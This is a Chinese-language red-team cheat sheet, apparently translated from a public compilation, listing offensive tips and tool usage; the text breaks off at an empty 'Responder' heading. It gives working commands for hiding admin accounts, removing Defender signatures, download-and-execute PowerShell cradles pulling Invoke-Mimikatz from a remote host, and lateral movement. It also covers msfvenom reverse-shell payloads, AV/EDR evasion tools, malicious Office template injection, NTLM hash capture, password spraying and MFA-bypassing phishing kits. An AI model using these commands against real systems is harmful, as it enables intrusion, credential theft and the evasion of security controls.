红队实战技巧
向红队老手取经——这里收集了一堆红队实战技巧,覆盖了各种战术、工具和方法论,拿来就能提升你的红队水平。
利用鼠标事件改进HTML走私
'Qakbot在HTML走私附件里加了鼠标移动事件监听,沙箱里不挪鼠标压缩包就不弹出来。'
利用谷歌翻译搞钓鱼
钓鱼页面通过谷歌翻译的页面预览功能做代理转发,骗取受害者输入的凭据。
隐藏本地管理员账户
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /t REG_DWORD /v alh4zr3d /d 0 /f'搞持久化创建账号容易被蓝队发现。但你可以用注册表里的小魔法把本地管理员账号藏起来。'
删签名废掉Windows Defender
"%Program Files%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All'做法有点粗暴,但如果Windows Defender让你头疼得不行,别直接关(会弹告警),删掉签名文件就行。'
开启多用户RDP会话
reg add HKLM\System\CurrentControlSet\Control\TerminalServer /v fSingleSessionPerUser /d 0 /f'有时候你想RDP登录一台机器,但那个用户已经有活动会话了。开启多用户会话就能解决。'
Sysinternals PsExec的本地替代
wmic.exe /node:10.1.1.1 /user:username /password:pass process call create cmd.exe /c " command "'横向移动的时候还要上传Sysinternals PsExec.exe,烦不烦?Windows系统里自带了一个更好用的替代品。试试这个。'
活在 Land 的端口扫描器
0..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(<tgt_ip>,$_)) "Port $_ open"} 2>$null'能用系统自带就别往机器上扔工具(原因多了去了)。PowerShell和.NET都能帮上忙。比如这个用PowerShell写的简易端口扫描器。'
感知代理的PowerShell下载
$w=(New-Object Net.WebClient);$w.Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;IEX $w.DownloadString("<url>")'现在大企业基本都架了Web代理,标准PowerShell下载摇篮不走代理,这个版本能感知代理。'
从浏览器书签找内网端点
type "C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Bookmarks.bak" | findstr /c "name url" | findstr /v "type"'光看用户的浏览器书签就能找到不少好东西,比如他们能访问的那些内部系统地址。'
查DNS记录做信息收集
Get-DnsRecord -RecordType A -ZoneName FQDN -Server <server hostname>'信息收集占了95%的活。但疯狂扫环境动静太大,不如直接跟DC/DNS服务器要一份完整的DNS记录?'
不用PowerUp查无引号服务路径
Get-CIMInstance -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name'不用PowerUp也能找到无引号服务路径'
用/k绕过禁用的CMD
# Win+R(调出运行框)
cmd.exe /k "whoami"'管理员已禁用命令提示符...' 这种提示在Kiosk电脑之类的环境里挺常见。快速绕过的方法是通过Windows运行框加/k参数,命令照样执行,弹完限制提示也就完事了。'
不让Defender删mimikatz.exe
(new-object net.webclient).downloadstring('https://raw.githubusercontent[.]com/BC-SECURITY/Empire/main/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1')|IEX;inv'Windows Defender老删你mimikatz.exe,烦不烦?试试这个替代方案。'
检测是否在虚拟机里
reg query HKLM\SYSTEM /s | findstr /S "VirtualBox VBOX VMWare"'想知道自己是不是在虚拟机里?查注册表就行了!!!只要搜出结果,就说明你在虚拟机里。'
枚举AppLocker规则
(Get-AppLockerPolicy -Local).RuleCollections
Get-ChildItem -Path HKLM:Software\Policies\Microsoft\Windows\SrpV2 -Recurse
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe\'AppLocker有时候挺烦人的,先枚举看看它到底有多烦。'
用画图6像素搞出CMD快捷方式

- 打开MSPaint.exe,画布尺寸设为:宽=6像素,高=1像素
- 放大画布,方便操作
用取色器,从左到右依次设置每个像素的RGB值:
- 1st: R: 10, G: 0, B: 0
- 2nd: R: 13, G: 10, B: 13
- 3rd: R: 100, G: 109, B: 99
- 4th: R: 120, G: 101, B: 46
- 5th: R: 0, G: 0, B: 101
- 6th: R: 0, G: 0, B: 0
- 保存为24位位图(.bmp;.dib)
把扩展名从bmp改成bat,然后运行。
'一种不太常见但很管用的拿shell方法——在微软画图里用特定颜色画几个像素,就能生成一个指向cmd.exe的快捷方式。BMP文件的编码算法有漏洞可钻,精心挑选RGB颜色值就能往文件里写入指定的ASCII数据。'
PreventDefault JavaScript链接欺骗

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>PreventDefault Example</title>
</head>
<body>
<a href="https://google.com" onclick="event.preventDefault(); window.location.href = 'https://bing.com';">Go to Google</a>
</body>
</html>已经有威胁行为者用这招来骗受害者点击伪造的恶意下载链接。利用JavaScript的PreventDefault方法,鼠标悬停时显示的是google.com这种正常链接,但一点下去就被重定向到攻击者的恶意链接bing.com。用来诱导受害者从你控制的站点下载payload相当好用。'
用Responder测SMB防火墙规则

Copy-Item -Path "C:\tmp\" -Destination "\\<ip_running_responder>\c$"'做失陷评估的时候,我经常问客户能不能最后做个快速检查:Copy-Item -Path "C:\tmp\" -Destination "\\<ip_running_responder>\c$"。要是Responder能抓到哈希,说明防火墙放行了出站SMB连接。''
用SysInternals PsSuspend干AV

用微软Sysinternals工具PsSuspend.exe可以挂起某些杀软的服务进程。这个微软签名工具接收PID或服务名,然后通过NtSuspendProcess这个Windows API把进程挂起。'
侦察
spiderfoot
SpiderFoot是一款开源情报(OSINT)自动化工具,几乎对接了市面上所有能用的数据源,还内置了多种数据分析方法,查出来的信息一目了然。
SpiderFoot既可以进攻用(比如红队演练或渗透测试时做目标侦察),也可以防守用——看看你或你的组织在互联网上到底暴露了哪些东西。
安装:
wget https://github.com/smicallef/spiderfoot/archive/v4.0.tar.gz
tar zxvf v4.0.tar.gz
cd spiderfoot-4.0
pip3 install -r requirements.txt完整安装说明见这里。
使用方法:
python3 ./sf.py -l 127.0.0.1:5001大量用法教程视频见这里

reconftw
reconFTW把整个信息收集流程全自动化了。子域名枚举、各种漏洞检查、目标信息最大化获取——一条龙搞定,效率远超手工操作。
安装:
git clone https://github.com/six2dez/reconftw.git;cd reconftw/;./install.sh完整安装说明见这里。
使用方法:
# 单目标域名
./reconftw.sh -d target.com -r
# 一个目标,多个域名
./reconftw.sh -m target -l domains.txt -r
# 被动侦察
./reconftw.sh -d target.com -p
# 执行所有检查和漏洞利用
./reconftw.sh -d target.com -a完整使用说明见这里。

subzy
子域名接管检测工具,基于can-i-take-over-xyz的响应指纹匹配来工作。
安装:
go install -v github.com/PentestPad/subzy@latest完整安装说明见这里。
使用方法:
# 子域名列表
./subzy run --targets list.txt
# 单个或多个目标
./subzy run --target test.google.com
./subzy run --target test.google.com,https://test.yahoo.com
smtp-user-enum
通过VRFY、EXPN和RCPT命令枚举SMTP用户,内置了智能超时、重试和重连机制。
安装:
pip install smtp-user-enum使用方法:
smtp-user-enum [options] -u/-U host port
smtp-user-enum --help
smtp-user-enum --version
crt.sh -> httprobe -> EyeWitness
我拼了一条bash命令,一条龙搞定:
- 从证书透明度日志被动收集子域名列表(crt.sh)
- 主动请求每个子域名验证存活(httprobe)
- 给每个子域名截图供人工审查(EyeWitness)
使用方法:
domain=DOMAIN_COM;rand=$RANDOM;curl -fsSL "https://crt.sh/?q=${domain}" | pup 'td text{}' | grep "${domain}" | sort -n | uniq | httprobe > /tmp/enum_tmp_${rand}.txt; python3 /usr/share/eyewitness/EyeWitness.py -f /tmp/enum_tmp_${rand}.txt --web注意:需要安装httprobe、pup和EyeWitness,并把'DOMAIN_COM'改成目标域名。如果有多个目标根域名,可以在多个终端窗口并发跑。


jsendpoints
一个JavaScript书签工具,用于提取网页上所有的API端点链接。
由@renniepak创建,这段JavaScript代码可以从当前网页DOM中提取所有端点(以/开头的路径),包括网页中嵌入的所有外部脚本资源。
javascript:(function(){var scripts=document.getElementsByTagName("script"),regex=/(?<=(\"|\'|\`))\/[a-zA-Z0-9_?&=\/\-\#\.]*(?=(\"|\'|\`))/g;const results=new Set;for(var i=0;i<scripts.length;i++){var t=scripts[i].src;""!=t&&fetch(t).then(function(t){return t.text()}).then(function(t){var e=t.matchAll(regex);for(let r of e)results.add(r[0])}).catch(function(t){console.log("An error occurred: ",t)})}var pageContent=document.documentElement.outerHTML,matches=pageContent.matchAll(regex);for(const match of matches)results.add(match[0]);function writeResults(){results.forEach(function(t){document.write(t+"<br>")})}setTimeout(writeResults,3e3);})();用法(书签)
创建一个书签……
右键点击书签栏点击'添加页面'把上面的JavaScript粘贴到'网址'框里点击'保存'
……然后浏览器访问目标页面,点击这个书签就行了。

用法(控制台)
把上面的JavaScript粘贴到控制台窗口(F12),回车执行。

nuclei
快速漏洞扫描器,使用.yaml模板来搜索特定类型的安全问题。
安装:
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest使用方法:
cat domains.txt | nuclei -t /PATH/nuclei-templates/
certSniff
certSniff是我用Python写的证书透明度日志关键词监控工具。它用certstream库来监控包含指定关键词的证书创建日志。
设置好跟目标域名相关的关键词让它跑着,一旦有新证书创建就会被记录下来,说不定就能发现你之前不知道的子域名。
安装:
git clone https://github.com/A-poc/certSniff;cd certSniff/;pip install -r requirements.txt使用方法:
python3 certSniff.py -f example.txt
gobuster
对目标网站进行文件和目录路径爆破的好工具。
安装:
sudo apt install gobuster使用方法:
gobuster dir -u "https://google.com" -w /usr/share/wordlists/dirb/big.txt --wildcard -b 301,401,403,404,500 -t 20
feroxbuster
专为强制浏览(Forced Browsing)攻击设计的工具——目标是枚举和访问那些Web应用没有显式引用、但攻击者仍然能访问的资源。
Feroxbuster用字典暴力搜索目标目录下未被链接的内容。这些资源里可能藏着Web应用和操作系统的敏感信息,比如源码、凭据、内网地址等等……
安装(Kali):
sudo apt update && sudo apt install -y feroxbuster安装:(Mac)
curl -sL https://raw.githubusercontent.com/epi052/feroxbuster/master/install-nix.sh | bash安装(Windows):
Invoke-WebRequest https://github.com/epi052/feroxbuster/releases/latest/download/x86_64-windows-feroxbuster.exe.zip -OutFile feroxbuster.zip
Expand-Archive .\feroxbuster.zip
.\feroxbuster\feroxbuster.exe -V完整安装说明见这里。
使用方法:
# 为每个URL添加.pdf、.js、.html、.php、.txt、.json和.docx扩展名
./feroxbuster -u http://127.1 -x pdf -x js,html -x php txt json,docx
# 带请求头扫描
./feroxbuster -u http://127.1 -H Accept:application/json "Authorization: Bearer {token}"
# 从标准输入读取URL
cat targets | ./feroxbuster --stdin --silent -s 200 301 302 --redirects -x js | fff -s 200 -o js-files
# 通过BurpSuite代理请求
./feroxbuster -u http://127.1 --insecure --proxy http://127.0.0.1:8080完整用法示例见[这里](https://epi052.github.io/feroxbuster-docs/docs/examples/)。

CloudBrute
用来在主流云平台上(亚马逊、谷歌、微软、DigitalOcean、阿里云、Vultr、Linode)搜索目标公司的基础设施、文件和应用。
功能特性:
- 云端检测(IPINFO API和源码)
- 高速(并发)
- 跨平台(Windows、Linux、Mac)
- User-Agent随机化
- 代理随机化(HTTP、Socks5)
安装:
下载对应系统的最新版本然后跟着用法走。
使用方法:
# 指定目标,基于'target'生成关键词,80线程超时10秒,词表'storage_small.txt'
CloudBrute -d target.com -k target -m storage -t 80 -T 10 -w "./data/storage_small.txt"
# 输出结果到文件
CloudBrute -d target.com -k keyword -m storage -t 80 -T 10 -w -c amazon -o target_output.txt
dnsrecon
dnsrecon是一个Python写的DNS记录枚举工具(支持MX、SOA、NS、A、AAAA、SPF、TXT等类型),从一个域名出发就能挖出一串关联主机,方便进一步横向移动。
安装:
sudo apt install dnsrecon使用方法:
dnsrecon -d google.com
Shodan.io
Shodan爬取公网基础设施并用可搜索的方式展示。通过公司名、域名、IP就能在Shodan上发现跟目标相关的可能带漏洞的系统。

AORT (全能侦察工具)
子域名枚举、DNS枚举、WAF检测、WHOIS查询、端口扫描、Wayback Machine、邮箱收集——一条龙工具。
安装:
git clone https://github.com/D3Ext/AORT; cd AORT; pip3 install -r requirements.txt使用方法:
python3 AORT.py -d google.com
spoofcheck
检测域名是否可以被伪造发送邮件的工具。它检查SPF和DMARC记录中是否存在允许伪造的弱配置,如果DMARC配置会在SPF/DKIM验证失败时发送邮件或HTTP请求也会告警。
如果满足以下任一条件,域名就可能被伪造:
- 缺少SPF或DMARC记录
- SPF记录未指定
~all或-all - DMARC策略设为
p=none或者不存在
安装:
git clone https://github.com/BishopFox/spoofcheck; cd spoofcheck; pip install -r requirements.txt使用方法:
./spoofcheck.py [DOMAIN]
AWSBucketDump
AWSBucketDump用来快速枚举AWS S3存储桶找敏感文件。跟子域名爆破器类似,但是专门针对S3桶的,还额外支持文件内容grep搜索和下载感兴趣的文件。
安装:
git clone https://github.com/jordanpotti/AWSBucketDump; cd AWSBucketDump; pip install -r requirements.txt使用方法:
usage: AWSBucketDump.py [-h] [-D] [-t THREADS] -l HOSTLIST [-g GREPWORDS] [-m MAXSIZE]
optional arguments:
-h, --help show this help message and exit
-D 下载文件。这会占用大量磁盘空间
-d 设为1或True时,为每个主机创建目录存放结果
-t THREADS number of threads
-l HOSTLIST
-g GREPWORDS Provide a wordlist to grep for
-m MAXSIZE 下载文件的最大体积。
python AWSBucketDump.py -l BucketNames.txt -g interesting_Keywords.txt -D -m 500000 -d 1GitHarvester
用正则从GitHub里挖信息的好工具,可以指定搜索特定GitHub用户和/或项目。
安装:
git clone https://github.com/metac0rtex/GitHarvester; cd GitHarvester使用方法:
./githarvester.pytruffleHog
TruffleHog扫描Git仓库,搜索高熵字符串和模式——这些往往意味着代码里藏着密码、API密钥之类的敏感信息。用它就能快速揪出那些不小心提交到仓库里的秘密。
安装(二进制): 下载
安装(Go):
git clone https://github.com/trufflesecurity/trufflehog.git; cd trufflehog; go install使用方法:
trufflehog https://github.com/trufflesecurity/test_keys
Dismap
Dismap 是一款资产发现与识别工具。它能快速识别 web/tcp/udp 等协议及指纹信息,定位资产类型,适用于内网和外网场景。
Dismap 拥有完整的指纹规则库,目前包含 tcp/udp/tls 协议指纹和 4500+ 条 Web 指纹规则,可识别 favicon、body、header 等特征。
安装:
Dismap 是 Linux、MacOS 和 Windows 平台的二进制文件。前往 Release 下载对应版本运行:
# Linux或MacOS
chmod +x dismap-0.3-linux-amd64
./dismap-0.3-linux-amd64 -h
# Windows
dismap-0.3-windows-amd64.exe -h使用方法:
# 扫描192.168.1.1子网
./dismap -i 192.168.1.1/24
# 扫描,输出到result.txt和result.json
./dismap -i 192.168.1.1/24 -o result.txt -j result.json
# 扫描,不使用ICMP/PING检测存活主机,超时10秒
./dismap -i 192.168.1.1/24 --np --timeout 10
# 扫描,并发线程数1000
./dismap -i 192.168.1.1/24 -t 1000
enum4linux
一款用于枚举 Windows 和 Samba 系统信息的工具。
可用于收集广泛的信息,包括:
- 域和域控制器信息
- 本地用户和组信息
- 共享及共享权限
- 安全策略
- Active Directory 信息
安装(Apt):
sudo apt install enum4linux安装(Git):
git clone https://github.com/CiscoCXSecurity/enum4linux
cd enum4linux使用方法:
# 执行所有枚举
enum4linux.pl -a 192.168.2.55
# 获取用户名列表(RestrictAnonymous = 0)
enum4linux.pl -U 192.168.2.55
# 获取用户名列表(使用认证)
enum4linux.pl -u administrator -p password -U 192.168.2.55
# 获取组及其成员列表
enum4linux.pl -G 192.168.2.55
# 详细扫描
enum4linux.pl -v 192.168.2.55完整用法信息请查阅此博客。

skanuvaty
极速 DNS/网络/端口扫描器,由 Esc4iCEscEsc 开发,使用 Rust 编写。
你需要准备一个子域名字典文件。例如 Sublist3r 的子域名字典。
安装:
从此处下载最新版本。
# 安装词表
sudo apt install wordlists
ls /usr/share/dirb/wordlists
ls /usr/share/amass/wordlists使用方法:
skanuvaty --target example.com --concurrency 16 --subdomains-file SUBDOMAIN_WORDLIST.txt
Metabigor
Metabigor 是一款情报工具,旨在无需任何 API 密钥即可完成 OSINT 任务及更多功能。
主要功能:
- 搜索 IP 地址、ASN 和组织信息
- 封装运行 rustscan、masscan 和 nmap,在 IP/CIDR 上更高效
- 通过多种技术(证书、whois、Google Analytics 等)发现目标更多相关域名
- 获取 IP 地址摘要(由 @thebl4ckturtle 提供支持)
安装:
go install github.com/j3ssie/metabigor@latest使用方法:
# 发现公司/组织的IP
echo "company" | metabigor net --org -o /tmp/result.txt
# 通过搜索证书信息获取更多相关域名
echo 'Target Inc' | metabigor cert --json | jq -r '.Domain' | unfurl format %r.%t | sort -u # this is old command
# 仅使用全端口运行rustscan
echo '1.2.3.4/24' | metabigor scan -o result.txt
# 反向Whois查找相关域名
echo 'example.com' | metabigor related -s 'whois'
# 直接从URL获取Google Analytics ID
echo 'https://example.com' | metabigor related -s 'google-analytic'
Gitrob
Gitrob 是一款帮助发现推送到 Github 公共仓库中潜在敏感文件的工具。
Gitrob 会按可配置的深度克隆用户或组织的仓库,遍历提交历史,并标记与潜在敏感文件签名匹配的文件。
结果通过 Web 界面呈现,便于浏览和分析。
注意: Gitrob 需要 Github 访问令牌才能与 Github API 交互。创建一个个人访问令牌 并将其保存在 .bashrc 或类似 shell 配置文件的环境变量中:
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef安装(Go):
go get github.com/michenriksen/gitrob安装(BIN):
每个版本都提供预编译版本。
使用方法:
# 针对组织运行
gitrob {org_name}
# 将会话保存到文件
gitrob -save ~/gitrob-session.json acmecorp
# 从文件加载会话
gitrob -load ~/gitrob-session.json
gowitness
Gowitness 是一款用 Golang 编写的网站截图工具,利用 Chrome Headless 通过命令行生成 Web 界面的截图,并提供便捷的报告查看器来处理结果。支持 Linux 和 macOS,Windows 基本可用。
安装(Go):
go install github.com/sensepost/gowitness@latest完整安装信息请查阅此处。
使用方法:
# 截取单个网站截图
gowitness single https://www.google.com/
# 使用20线程截取CIDR范围截图
gowitness scan --cidr 192.168.0.0/24 --threads 20
# 从nmap文件截取开放HTTP服务截图
gowitness nmap -f nmap.xml --open --service-contains http
# 运行报告服务端
gowitness report serve完整用法信息请查阅此处。

资源开发
remoteinjector
将远程 Word 模板链接注入到 Word 文档中。
这个基于 Python 的实用工具会修改 .docx 文件的 settings.xml.rels 链接,指向远程托管的包含 VBA 宏的 .dotm 模板,在打开文档且启用宏时执行。
安装:
git clone https://github.com/JohnWoodman/remoteinjector;cd remoteinjector使用方法:
python3 remoteinjector.py -w https://example.com/template.dotm example.docxChimera
Chimera 是一款 PowerShell 混淆脚本,旨在绕过 AMSI 和杀毒软件检测。它会处理已知会触发 AV 的恶意 PS1 脚本,通过字符串替换和变量拼接来规避常见的检测签名。
安装:
sudo apt-get update && sudo apt-get install -Vy sed xxd libc-bin curl jq perl gawk grep coreutils git
sudo git clone https://github.com/tokyoneon/chimera /opt/chimera
sudo chown $USER:$USER -R /opt/chimera/; cd /opt/chimera/
sudo chmod +x chimera.sh; ./chimera.sh --help使用方法:
./chimera.sh -f shells/Invoke-PowerShellTcp.ps1 -l 3 -o /tmp/chimera.ps1 -v -t powershell,windows,\
copyright -c -i -h -s length,get-location,ascii,stop,close,getstream -b new-object,reverse,\
invoke-expression,out-string,write-error -j -g -k -r -p
msfvenom
Msfvenom 支持为多种操作系统创建多种格式的 Payload,同时还支持对 Payload 进行混淆以绕过 AV 检测。
设置监听器
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST your-ip
set LPORT listening-port
runMsfvenom 命令
PHP:
msfvenom -p php/meterpreter/reverse_tcp lhost =192.168.0.9 lport=1234 RWindows:
msfvenom -p windows/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell-x86.exeLinux:
msfvenom -p linux/x86/shell/reverse_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell-x86.elfJava:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jspHTA:
msfvenom -p windows/shell_reverse_tcp lhost=192.168.1.3 lport=443 -f hta-psh > shell.hta
Shellter
Shellter 是一款动态 Shellcode 注入工具,也是首个真正的动态 PE 感染器。
可用于将 Shellcode 注入到原生 Windows 应用程序中(目前仅支持 32 位应用程序)。
Shellter 利用 PE 文件的原始结构,不会进行任何诸如修改节区内存访问权限(除非用户指定)、添加具有 RWE 访问权限的额外节区等容易被 AV 扫描检测到的修改。
完整 README 信息请查阅此处。
安装(Kali):
apt-get update
apt-get install shellter安装(Windows):
访问下载页面进行安装。
使用方法:
只需选择一个合法的二进制文件进行后门注入,然后运行 Shellter。
一些实用的技巧请查阅此处。
大量社区使用演示请查阅此处。

Freeze
Freeze 是一款 Payload 生成工具,用于绕过 EDR 安全防护,以隐蔽方式执行 Shellcode。
Freeze 采用多种技术,不仅能移除用户态 EDR 挂钩,还能以规避其他端点监控防护的方式执行 Shellcode。
安装:
git clone https://github.com/optiv/Freeze
cd Freeze
go build Freeze.go使用方法:
-I string
原始64位shellcode的路径。
-O string
输出文件名(如loader.exe或loader.dll)。根据定义的文件扩展名决定Freeze生成DLL还是EXE。
-console
仅适用于二进制Payload——Payload执行时生成详细控制台信息。这会禁用隐藏窗口功能。
-encrypt
Encrypts the shellcode using AES 256 encryption
-export string
仅适用于DLL加载器——指定加载器应具有的特定导出函数。
-process string
要创建的进程名。该进程必须存在于C:\Windows\System32\中。例如'notepad.exe'(默认"notepad.exe")
-sandbox
Enables sandbox evasion by checking:
Is Endpoint joined to a domain?
Does the Endpoint have more than 2 CPUs?
Does the Endpoint have more than 4 gigs of RAM?
-sha256
提供加载器的SHA256值(便于追踪)
WordSteal
该脚本将创建一个 Microsoft Word 文档,其中包含远程图片,从而捕获远程受害终端的 NTLM 哈希值。
Microsoft Word 支持从远程位置加载图片,包括托管在攻击者控制的 SMB 服务器上的远程图片。当已认证的受害者打开 Word 文档并渲染图片时,你可以监听并捕获发送的 NTLM 哈希。
安装:
git clone https://github.com/0x09AL/WordSteal
cd WordSteal使用方法:
# 生成包含'test.jpg'的文档并启动监听器
./main.py 127.0.0.1 test.jpg 1
# 生成包含'test.jpg'的文档,不启动监听器
./main.py 127.0.0.1 test.jpg 0\n
NTAPI 未文档化函数
该站点提供关于 Windows 未文档化内部机制、系统调用、数据结构及其他底层细节的信息。
对于希望探索 Windows 内部机制以进行漏洞分析、Exploit 开发和提权等目的的研究人员来说,这是一份宝贵的资源。
在开发 Exploit 时,理解目标系统的内部机制至关重要。该站点通过利用 Windows 底层未文档化特性,帮助开发 Exploit。
使用方法:
访问 http://undocumented.ntinternals.net/

内核回调函数
该技术说明全面列出了 Windows 内核导出的所有 API,供驱动开发者注册在不同情况下由内核组件调用的回调例程。
其中大部分例程已在 Windows 驱动套件(WDK)中有文档说明,但部分仅供内置驱动使用。
未文档化的函数会简要描述,而已文档化的函数仅在此列出供参考。
使用方法:
访问 https://codemachine.com/articles/kernel_callback_functions.html

OffensiveVBA
一系列通过 Office 宏实现代码执行和防御绕过的攻击技术、脚本和实用链接集合。
使用方法:
访问 https://github.com/S3cur3Th1sSh1t/OffensiveVBA#templates-in-this-repo

WSH
生成Payload:
Set shell = WScript.CreateObject("Wscript.Shell")
shell.Run("C:\Windows\System32\calc.exe " & WScript.ScriptFullName),0,True执行:
wscript payload.vbs
cscript.exe payload.vbs
wscript /e:VBScript payload.txt //If .vbs files are blacklistedHTA
生成Payload:
<html>
<body>
<script>
var c= 'cmd.exe'
new ActiveXObject('WScript.Shell').Run(c);
</script>
</body>
</html>执行: 运行文件
VBA
生成Payload:
Sub calc()
Dim payload As String
payload = "calc.exe"
CreateObject("Wscript.Shell").Run payload,0
End Sub执行: 在启用宏的文档中,将函数设置为 Auto_Open()
初始访问
CredMaster
通过 Amazon AWS 透传代理发起密码喷洒/暴力破解攻击,每次认证尝试都会切换请求 IP 地址。该工具动态创建 FireProx API,实现更具规避性的密码喷洒。
CredMaster 提供了一种在简单易用的工具中对端点进行匿名密码喷洒的方法。FireProx 提供轮换的请求 IP,而 CredMaster 基础模块会伪造所有其他标识信息。
功能特性:
- 完全支持所有 AWS 区域
- 自动生成 API 用于代理透传
- 伪造 API 跟踪编号、转发 IP 及其他代理跟踪头
- 多线程处理
- 密码延迟计数器和锁定策略规避配置
- 轻松添加新插件
- 完全匿名
安装:
git clone https://github.com/knavesec/CredMaster;cd CredMaster;pip install -r requirements.txt完整安装说明请查阅此处。
使用方法:
python3 credmaster.py --plugin {pluginname} --access_key {key} --secret_access_key {key} -u userfile -p passwordfile -a useragentfile {otherargs}
python3 credmaster.py --config config.json该工具需要 AWS API 访问密钥,获取这些密钥的教程请见:https://bond-o.medium.com/aws-pass-through-proxy-84f1f7fa4b4b

TREVORspray
TREVORspray 是一款模块化密码喷洒工具,支持多线程、SSH 代理、战利品模块等更多功能!
安装:
pip install https://github.com/blacklanternsecurity/TREVORspray使用方法:
# 侦察
python3 ./trevorspray --recon evilcorp.com
# 通过OneDrive枚举用户
python3 ./trevorspray --recon evilcorp.com -u emails.txt --threads 10
# 对已发现的用户喷射
python3 ./trevorspray -u emails.txt -p 'Welcome123' --url https://login.windows.net/b43asdas-cdde-bse-ac05-2e37deadbeef/oauth2/token完整使用说明请查阅此处。

evilqr
一个演示 QRLJacking 攻击另一种方式的工具包,通过登录二维码钓鱼实现远程账户劫持。
它由攻击者用于提取登录二维码的浏览器扩展和一个服务器应用程序组成,后者获取登录二维码并将其显示在托管的钓鱼页面上。
演示视频
安装(扩展):
你可以通过 Chrome 的 加载已解压的扩展程序 功能加载该扩展:
https://developer.chrome.com/docs/extensions/mv3/getstarted/development-basics/#load-unpacked
安装扩展后,请将其图标固定在 Chrome 的扩展工具栏中,以便始终保持可见。
安装(服务端):
git clone https://github.com/kgretzky/evilqr;cd evilqr/server/;build_run.bat使用方法:
- 运行构建好的服务器二进制文件:
./server/build/evilqr-server 在安装了 Evil QR 扩展的 Chrome 浏览器中打开任意支持的网站:
https://discord.com/login https://web.telegram.org/k/ https://whatsapp.com https://store.steampowered.com/login/ https://accounts.binance.com/en/login https://www.tiktok.com/login- 确保登录二维码可见,然后点击工具栏中的 Evil QR 扩展图标。如果二维码被识别,图标会亮起彩色。
- Open the server's phishing page URL:
http://127.0.0.1:35000(default)

CUPP
最常见的认证形式是用户名和密码或口令的组合。密码有时可以通过分析用户信息(如生日、昵称、地址、宠物或亲属姓名,或常见的词语如 God、love、money 或 password)来猜测。
这就是 CUPP 诞生的原因。
安装:
git clone https://github.com/Mebus/cupp;cd cupp使用方法:
# 以交互模式运行
python3 ./cupp.py -i
Bash Bunny
Bash Bunny 是一款物理 USB 攻击工具和多功能 Payload 投递系统。它设计为插入计算机的 USB 端口,可编程执行多种功能,包括操作和窃取数据、安装恶意软件以及绕过安全措施。

EvilGoPhish
evilginx2 + gophish 的组合。(GoPhish)Gophish 是一款强大的开源钓鱼框架,可以轻松测试组织对钓鱼攻击的暴露程度。(evilginx2)独立的中间人攻击框架,用于钓鱼登录凭证和会话 Cookie,可绕过双因素认证
安装:
git clone https://github.com/fin3ss3g0d/evilgophish使用方法:
Usage:
./setup <根域名> <子域名> <根域名布尔> <重定向URL> <feed布尔> <rid替换值> <黑名单布尔>
- 根域名 - 用于钓鱼活动的根域名
- 子域名 - 以空格分隔的evilginx2子域名列表,只有一个时写一个即可
- 根域名布尔 - true或false,是否将根域名代理到evilginx2
- 重定向URL - 未授权Apache请求的重定向地址
- feed布尔 - true或false,是否计划使用实时feed
- rid替换值 - 用此值替换钓鱼URL中gophish默认的"rid"
- 黑名单布尔 - true或false,是否使用Apache黑名单
示例:
./setup.sh example.com "accounts myaccount" false https://redirect.com/ true user_id false
The Social-Engineer Toolkit
该框架非常适合创建用于初始访问的攻击活动,'SET 拥有大量自定义攻击向量,让你能快速发动可信的攻击'。
安装:
git clone https://github.com/IO1337/social-engineering-toolkit; cd set; python setup.py install使用方法:
python3 setoolkit
Hydra
用于登录暴力破解的优秀工具。可暴力破解多种服务,包括 SSH、FTP、TELNET、HTTP 等。
安装:
sudo apt install hydra使用方法:
hydra -L USER.TXT -P PASS.TXT 1.1.1.1 http-post-form "login.php:username-^USER^&password=^PASS^:Error"
hydra -L USER.TXT -P PASS.TXT 1.1.1.1 ssh
SquarePhish
SquarePhish 是一款高级钓鱼工具,采用 OAuth 设备码认证流程与二维码相结合的技术(关于 OAuth 设备码流程在钓鱼攻击中的应用,请参阅 PhishInSuits)。
攻击步骤:
- 向受害者发送恶意二维码
- 受害者使用移动设备扫描二维码
- 受害者被重定向到攻击者控制的服务器(触发 OAuth 设备码认证流程)
- 受害者收到 MFA 验证码邮件(触发 OAuth 设备码流程的 15 分钟计时器)
- 攻击者轮询认证状态
- 受害者在合法微软网站输入验证码
- 攻击者保存认证令牌
安装:
git clone https://github.com/secureworks/squarephish; cd squarephish; pip install -r requirements.txt注意: 在使用任一模块之前,请先在 settings.config 文件中更新标有 Required 的必要信息。
用法(邮件模块):
usage: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]
optional arguments:
-h, --help 显示此帮助信息并退出
-c CONFIG, --config CONFIG
squarephish配置文件 [默认:settings.config]
--debug enable server debugging
-e EMAIL, --email EMAIL
接收初始二维码邮件的受害者邮箱地址用法(服务器模块):
usage: squish.py server [-h] [-c CONFIG] [--debug]
optional arguments:
-h, --help show this help message and exit
-c CONFIG, --config CONFIG
squarephish config file [Default: settings.config]
--debug enable server debugging
King Phisher
King Phisher 是一款允许攻击者创建并向受害者发送钓鱼邮件以获取敏感信息的工具。
它包含可自定义模板、活动管理和邮件发送等功能,是一款强大且易于使用的钓鱼攻击工具。使用 King Phisher,攻击者可以通过有针对性的、令人信服的钓鱼邮件针对个人或组织,提高攻击成功率。
安装(Linux - 客户端和服务器):
wget -q https://github.com/securestate/king-phisher/raw/master/tools/install.sh && \
sudo bash ./install.sh使用方法:
安装 King Phisher 后,请按照维基页面设置 SSH、数据库配置、SMTP 服务器等。

执行
Responder
